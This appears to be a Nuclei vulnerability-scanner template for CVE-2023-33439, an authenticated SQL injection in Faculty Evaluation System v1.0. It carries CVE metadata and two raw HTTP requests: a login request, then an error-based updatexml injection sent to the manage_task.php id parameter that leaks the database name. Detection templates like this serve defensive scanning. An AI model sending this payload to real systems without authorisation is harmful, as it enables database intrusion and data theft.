id: CVE-2023-33439

info:
  name: Faculty Evaluation System v1.0 - SQL Injection
  author: Harsh
  severity: high
  description: |
    Sourcecodester Faculty Evaluation System v1.0 is vulnerable to SQL Injection via /eval/admin/manage_task.php?id=
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/F14me7wq/bug_report/blob/main/vendors/oretnom23/faculty-evaluation-system/SQLi-1.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33439
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33439
    cwe-id: CWE-89
    epss-score: 0.32144
    epss-percentile: 0.96645
    cpe: cpe:2.3:a:faculty_evaluation_system_project:faculty_evaluation_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: faculty_evaluation_system_project
    product: faculty_evaluation_system
  tags: cve,cve2023,sqli,faculty,authenticated,faculty_evaluation_system_project

http:
  - raw:
      - |
        POST /ajax.php?action=login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        email={{username}}&password={{password}}&login=1
      - |
        GET /admin/manage_task.php?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1
        Host:{{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Fatal error:")'
          - 'contains(body, "XPATH syntax error:")'
        condition: and
# digest: 4a0a0047304502200306f60beb46287e412928ba1f18641fd725e980d01981414706acfac13ab580022100f7f4d012eba0b2377a2721f66f1ef473328fd1310797a53833bedbf585818293:922c64590222798bb761d5b6d8e72950